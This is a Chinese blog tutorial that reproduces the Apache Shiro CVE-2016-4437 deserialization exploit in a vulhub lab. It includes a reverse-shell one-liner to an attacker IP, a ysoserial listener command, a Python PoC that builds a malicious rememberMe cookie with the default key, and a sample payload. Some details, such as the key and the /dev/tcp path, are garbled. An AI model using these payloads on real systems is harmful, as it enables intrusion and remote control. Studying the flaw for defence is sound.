Shiro漏洞实战

admin 2022年6月11日19:44:51评论100 views字数 2619阅读8分43秒阅读模式

在对某一个IP进行渗透的时候,扫出了许多端口,于是就想着扔到goby里面扫扫,看能不能扫出组件信息或者漏洞,没想到还真扫描出来了。

Shiro漏洞实战

漏洞是shiro的一个漏洞(CVE-2016-4437)

Shiro漏洞实战

于是就有了接下来的这篇文章,说明这个漏洞怎么去手工利用。

我接下来用的漏洞环境是vulhub上的,因为怕对人家资产产生换的影响,所以只能用其它漏洞环境,但利用过程都是一样的。

1.Apache Shiro是什么

Apache Shiro 是Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE 环境,也可以用在JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与Web 集成、缓存等。

2.Apache Shiro漏洞原理

Apache Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问。Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码。由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行

3.影响版本

Apache Shiro <= 1.2.4

4.漏洞环境

漏洞靶机kali:192.168.10.132

攻击机器windows主机:192.168.10.1

5.复现步骤

进入漏洞环境目录,docker-compose up -d

Shiro漏洞实战

可以看到已经启动成功,并且开放了8080端口

Shiro漏洞实战

访问8080端口,输入账号密码进行burp抓包,发送到重放模块,放包,可以看到Set-Cookie字段有rememberMe字段,基本可以确定有shiro框架。

Shiro漏洞实战

对shell反弹命令进行base64编码:

bash -i >& /dev/tcp192.168.10.1/1234 0>&1

编码后 

YmFzaCAtaSA+JiAvZGV2L3RjcDE5Mi4xNjguMTAuMS8xMjM0IDA+JjE=
将编码之后的命令进行组合bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcDE5Mi4xNjguMTAuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i

启用ysoserial(针对Java反序列化的Java工具)的监听模块,并选择一个监听端口,ysoserial的下载可以看我上一篇文章,里面有下载地址。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcDE5Mi4xNjguMTAuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

Shiro漏洞实战

成功执行,并开启了监听,使用python编写的poc生成恶意cookie

import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

if __name__ == '__main__': payload = encode_rememberme(sys.argv[1])    print("rememberMe={0}".format(payload.decode()))
python3 poc.py 192.168.10.1 7777(此处的端口应该为ysoserial监听的端口)

Shiro漏洞实战

在发送cookie前,先在攻击机器执行监听命令

Shiro漏洞实战

打开浏览器,使用burp抓包,用生成的恶意cookie替换原来的cookie。

rememberMe=SxoxSbUqR1KT8SDo7v/CTX4hl33oJ6fu3SSQ01uRq0g2UdLU4gCE/m0zh/5SPRHenjmB9WB4MdbOftK6BXYoqovFNefbsNl1KOOxWghbZyvirNK0Fg7Q/fQuOXoLuLQE3S2rNC+MzLW82ZBr1oGMUUcywckL+yDizUylb8kfTHpBfclM6zlDiVIMZBzInzxy3Zy2KldNPZY22qJVz6cyCSqDeubtvePqhYPPK4eKAJMMysZ5wdNyrakxnNRKBhAoz9N9AcyKaudlZ8rhKzZFhqqdCoiaBxYHz/Rw/pb/uUvnbCRQAbcZK45UA/IvpUpRMNWPkLPtTTCMGkLYfwLIxDfTNPnIYB7WIRVwItCNeIVfYl9Rp8gFJ1sil+yWLIieoClmdCf+BhM9c8wEe1e9XQ==

Shiro漏洞实战

然后放包。最终可以看到反弹shell过来。

Shiro漏洞实战

6.修复建议

删除代码中的默认密钥,自己生成一个密钥。升级shiro版本

原文始发于微信公众号(星冥安全):Shiro漏洞实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月11日19:44:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shiro漏洞实战https://cn-sec.com/archives/1109301.html

发表评论

匿名网友 填写信息